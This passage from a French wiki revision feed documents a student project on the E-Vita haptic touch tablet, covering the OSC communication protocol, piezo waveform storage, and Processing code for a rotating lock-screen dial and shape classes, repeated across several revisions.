La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
Concevoir une librairies facilitant la programmation d'application utilisant le retour tactile.&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;br /&gt;
Afin d’appréhender le problème facilement j'ai commencé par représenter un segment en direction du chiffre en cours de sélection. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ligne_numero_1.png|500px|left]][[Fichier:Ligne_numero_6.png|500px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le code correspondant est un classique switch/case inscrit dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
    switch (currentNumber){&lt;br /&gt;
    case 1:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,116,800-552);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 2:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,239,800-676);&lt;br /&gt;
      break;&lt;br /&gt;
    case 3:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,384,800-558);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 4:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,381,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  &lt;br /&gt;
    case 5:&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
      line(240,340,237,800-257);&lt;br /&gt;
      break;&lt;br /&gt;
    case 6:&lt;br /&gt;
    &lt;br /&gt;
     fill(255, 0, 0);&lt;br /&gt;
      line(240,340,98,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je décide donc de réaliser un cercle autour du bouton &amp;quot;OK&amp;quot; avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333); // On place le référentiel au centre du bouton &amp;quot;OK&amp;quot;&lt;br /&gt;
     &lt;br /&gt;
      rotate(direction * millis() * 0.001 * TWO_PI / 1O.0);   // Créer une rotation de 360° en 10 secondes.&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145); &lt;br /&gt;
      line(75,0,90,0);&lt;br /&gt;
      line(-75,0,-90,0);&lt;br /&gt;
      line(0,75,0,90);&lt;br /&gt;
      line(0,-75,0,-90);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :&lt;br /&gt;
&lt;br /&gt;
 int direction = 0;       // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo&lt;br /&gt;
 int nb_frame = 0;        // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.&lt;br /&gt;
 float phi = 0.;          // Sert contient le calcul de la phase pour la rotation.&lt;br /&gt;
&lt;br /&gt;
La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.&lt;br /&gt;
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3. &lt;br /&gt;
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333);                                               // Centrage sur &amp;quot;OK&amp;quot;&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145);&lt;br /&gt;
      if (frameCount &amp;lt; nb_frame +60){                                    // Calcul de la position du premier segment&lt;br /&gt;
         phi = direction * ((nb_frame-frameCount)/60.) * PI/3;           // Le frameRate est fixé à 60 itérations/s&lt;br /&gt;
      }else{&lt;br /&gt;
        direction =0;                                                    // Reset de la variable d'appui&lt;br /&gt;
      }&lt;br /&gt;
      //Creation des segments&lt;br /&gt;
      for (int i=0; i&amp;lt;6; i++){                                           // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle &lt;br /&gt;
        pushMatrix();&lt;br /&gt;
        rotate(phi + i*PI/3);&lt;br /&gt;
        line(75,0,90,0);&lt;br /&gt;
        popMatrix();&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Une animation est disponible au lien suivant : &lt;br /&gt;
[[Fichier: Rotation_propre.mp4|500px|center| Rotation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Boite à outils==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Afin de créer un polymorphisme des classe Trectangle et Tcircle, cela permettra de créer une méthode sendControl général pour toute les classes.&lt;br /&gt;
&lt;br /&gt;
Conception des classes représentant les motifs élémentaires.&lt;br /&gt;
Conception des méthodes isIn : permet de savoir si un point de coordonnée x,y est contenu dans le motif.&lt;br /&gt;
Conception des méthodes dessiner : permet de dessiner le motif élémentaire&lt;br /&gt;
Première réflexions sur un la création d'un ensemble de motif élémentaire via un hashMap.&lt;br /&gt;
&lt;br /&gt;
La classe abstraite Tforme :&lt;br /&gt;
&lt;br /&gt;
 abstract class Tforme{&lt;br /&gt;
   String ensemble;&lt;br /&gt;
   int motif;&lt;br /&gt;
   void addMotif(int iMotif){&lt;br /&gt;
      motif = iMotif;&lt;br /&gt;
    }&lt;br /&gt;
   &lt;br /&gt;
   void sendControl(){&lt;br /&gt;
     println(motif);&lt;br /&gt;
   }&lt;br /&gt;
   &lt;br /&gt;
   abstract boolean isIn(int xpos, int ypos);&lt;br /&gt;
   abstract void dessiner();&lt;br /&gt;
   &lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
La classe Trectangle :&lt;br /&gt;
&lt;br /&gt;
 class Trectangle extends Tforme{&lt;br /&gt;
  int x1, y1, x2, y2;&lt;br /&gt;
  &lt;br /&gt;
  Trectangle(int xpos, int ypos, int hauteur, int largeur){&lt;br /&gt;
    x1 = xpos;&lt;br /&gt;
    x2 = xpos + hauteur;&lt;br /&gt;
    y1 = ypos;&lt;br /&gt;
    y2 = ypos + largeur;&lt;br /&gt;
  }&lt;br /&gt;
    void dessiner(){&lt;br /&gt;
      rect(x1,y1,x2,y2);&lt;br /&gt;
    }  &lt;br /&gt;
    &lt;br /&gt;
    boolean isIn(int xpos, int ypos){&lt;br /&gt;
      if (xpos &amp;gt; x1 &amp;amp;&amp;amp; xpos &amp;lt; x2 &amp;amp;&amp;amp; ypos &amp;gt; y1 &amp;amp;&amp;amp; ypos &amp;lt; y2){&lt;br /&gt;
        return true;&lt;br /&gt;
      }else{&lt;br /&gt;
          return false;&lt;br /&gt;
       }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    void setEnsemble(String ensemble){&lt;br /&gt;
      this.ensemble = ensemble;&lt;br /&gt;
      // rajoute une entree dans la HashMap&lt;br /&gt;
    }&lt;br /&gt;
 }  &lt;br /&gt;
&lt;br /&gt;
La classe Tcircle :&lt;br /&gt;
&lt;br /&gt;
 class Tcircle extends Tforme{&lt;br /&gt;
  int x,y;&lt;br /&gt;
  int radius;&lt;br /&gt;
   Tcircle(int xpos, int ypos, int rayon){&lt;br /&gt;
     x = xpos;&lt;br /&gt;
     y = ypos;&lt;br /&gt;
     radius = rayon;&lt;br /&gt;
   }&lt;br /&gt;
   void dessiner(){&lt;br /&gt;
     ellipseMode(CENTER);&lt;br /&gt;
     ellipse((float)x, (float)y, (float)radius, (float)radius);&lt;br /&gt;
   }&lt;br /&gt;
   boolean isIn(int xpos, int ypos){&lt;br /&gt;
     float dist = sqrt(pow(x - xpos,2) + pow(y-ypos,2));&lt;br /&gt;
     if (dist &amp;lt;= radius){&lt;br /&gt;
     return true;&lt;br /&gt;
     }else{&lt;br /&gt;
       return false;&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;br /&gt;
   &lt;br /&gt;
   void setEnsemble(String ensemble){&lt;br /&gt;
     this.ensemble = ensemble;&lt;br /&gt;
   }&lt;br /&gt;
 }&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37774</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37774"/>
				<updated>2017-01-23T20:29:25Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Avancé du travail */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
Concevoir une librairies facilitant la programmation d'application utilisant le retour tactile.&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;br /&gt;
Afin d’appréhender le problème facilement j'ai commencé par représenter un segment en direction du chiffre en cours de sélection. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ligne_numero_1.png|500px|left]][[Fichier:Ligne_numero_6.png|500px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le code correspondant est un classique switch/case inscrit dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
    switch (currentNumber){&lt;br /&gt;
    case 1:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,116,800-552);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 2:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,239,800-676);&lt;br /&gt;
      break;&lt;br /&gt;
    case 3:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,384,800-558);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 4:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,381,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  &lt;br /&gt;
    case 5:&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
      line(240,340,237,800-257);&lt;br /&gt;
      break;&lt;br /&gt;
    case 6:&lt;br /&gt;
    &lt;br /&gt;
     fill(255, 0, 0);&lt;br /&gt;
      line(240,340,98,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je décide donc de réaliser un cercle autour du bouton &amp;quot;OK&amp;quot; avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333); // On place le référentiel au centre du bouton &amp;quot;OK&amp;quot;&lt;br /&gt;
     &lt;br /&gt;
      rotate(direction * millis() * 0.001 * TWO_PI / 1O.0);   // Créer une rotation de 360° en 10 secondes.&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145); &lt;br /&gt;
      line(75,0,90,0);&lt;br /&gt;
      line(-75,0,-90,0);&lt;br /&gt;
      line(0,75,0,90);&lt;br /&gt;
      line(0,-75,0,-90);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :&lt;br /&gt;
&lt;br /&gt;
 int direction = 0;       // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo&lt;br /&gt;
 int nb_frame = 0;        // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.&lt;br /&gt;
 float phi = 0.;          // Sert contient le calcul de la phase pour la rotation.&lt;br /&gt;
&lt;br /&gt;
La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.&lt;br /&gt;
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3. &lt;br /&gt;
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333);                                               // Centrage sur &amp;quot;OK&amp;quot;&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145);&lt;br /&gt;
      if (frameCount &amp;lt; nb_frame +60){                                    // Calcul de la position du premier segment&lt;br /&gt;
         phi = direction * ((nb_frame-frameCount)/60.) * PI/3;           // Le frameRate est fixé à 60 itérations/s&lt;br /&gt;
      }else{&lt;br /&gt;
        direction =0;                                                    // Reset de la variable d'appui&lt;br /&gt;
      }&lt;br /&gt;
      //Creation des segments&lt;br /&gt;
      for (int i=0; i&amp;lt;6; i++){                                           // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle &lt;br /&gt;
        pushMatrix();&lt;br /&gt;
        rotate(phi + i*PI/3);&lt;br /&gt;
        line(75,0,90,0);&lt;br /&gt;
        popMatrix();&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Une animation est disponible au lien suivant : &lt;br /&gt;
[[Fichier: Rotation_propre.mp4|500px|center| Rotation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Boite à outils==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Afin de créer un polymorphisme des classe Trectangle et Tcircle, cela permettra de créer une méthode sendControl général pour toute les classes.&lt;br /&gt;
&lt;br /&gt;
Conception des classes représentant les motifs élémentaires.&lt;br /&gt;
Conception des méthodes isIn : permet de savoir si un point de coordonnée x,y est contenu dans le motif.&lt;br /&gt;
Conception des méthodes dessiner : permet de dessiner le motif élémentaire&lt;br /&gt;
Première réflexions sur un la création d'un ensemble de motif élémentaire via un hashMap.&lt;br /&gt;
&lt;br /&gt;
La classe abstraite Tforme :&lt;br /&gt;
&lt;br /&gt;
 abstract class Tforme{&lt;br /&gt;
   String ensemble;&lt;br /&gt;
   int motif;&lt;br /&gt;
   void addMotif(int iMotif){&lt;br /&gt;
      motif = iMotif;&lt;br /&gt;
    }&lt;br /&gt;
   &lt;br /&gt;
   void sendControl(){&lt;br /&gt;
     println(motif);&lt;br /&gt;
   }&lt;br /&gt;
   &lt;br /&gt;
   abstract boolean isIn(int xpos, int ypos);&lt;br /&gt;
   abstract void dessiner();&lt;br /&gt;
   &lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
La classe Trectangle :&lt;br /&gt;
&lt;br /&gt;
 class Trectangle extends Tforme{&lt;br /&gt;
  int x1, y1, x2, y2;&lt;br /&gt;
  &lt;br /&gt;
  Trectangle(int xpos, int ypos, int hauteur, int largeur){&lt;br /&gt;
    x1 = xpos;&lt;br /&gt;
    x2 = xpos + hauteur;&lt;br /&gt;
    y1 = ypos;&lt;br /&gt;
    y2 = ypos + largeur;&lt;br /&gt;
  }&lt;br /&gt;
    void dessiner(){&lt;br /&gt;
      rect(x1,y1,x2,y2);&lt;br /&gt;
    }  &lt;br /&gt;
    &lt;br /&gt;
    boolean isIn(int xpos, int ypos){&lt;br /&gt;
      if (xpos &amp;gt; x1 &amp;amp;&amp;amp; xpos &amp;lt; x2 &amp;amp;&amp;amp; ypos &amp;gt; y1 &amp;amp;&amp;amp; ypos &amp;lt; y2){&lt;br /&gt;
        return true;&lt;br /&gt;
      }else{&lt;br /&gt;
          return false;&lt;br /&gt;
       }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    void setEnsemble(String ensemble){&lt;br /&gt;
      this.ensemble = ensemble;&lt;br /&gt;
      // rajoute une entree dans la HashMap&lt;br /&gt;
    }&lt;br /&gt;
 }  &lt;br /&gt;
&lt;br /&gt;
La classe Tcircle :&lt;br /&gt;
&lt;br /&gt;
class Tcircle extends Tforme{&lt;br /&gt;
 int x,y;&lt;br /&gt;
 int radius;&lt;br /&gt;
  Tcircle(int xpos, int ypos, int rayon){&lt;br /&gt;
    x = xpos;&lt;br /&gt;
    y = ypos;&lt;br /&gt;
    radius = rayon;&lt;br /&gt;
  }&lt;br /&gt;
  void dessiner(){&lt;br /&gt;
    ellipseMode(CENTER);&lt;br /&gt;
    ellipse((float)x, (float)y, (float)radius, (float)radius);&lt;br /&gt;
  }&lt;br /&gt;
  boolean isIn(int xpos, int ypos){&lt;br /&gt;
    float dist = sqrt(pow(x - xpos,2) + pow(y-ypos,2));&lt;br /&gt;
    if (dist &amp;lt;= radius){&lt;br /&gt;
    return true;&lt;br /&gt;
    }else{&lt;br /&gt;
      return false;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
  &lt;br /&gt;
  void setEnsemble(String ensemble){&lt;br /&gt;
    this.ensemble = ensemble;&lt;br /&gt;
  }&lt;br /&gt;
}&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37773</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37773"/>
				<updated>2017-01-23T20:25:25Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Avancé du travail */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
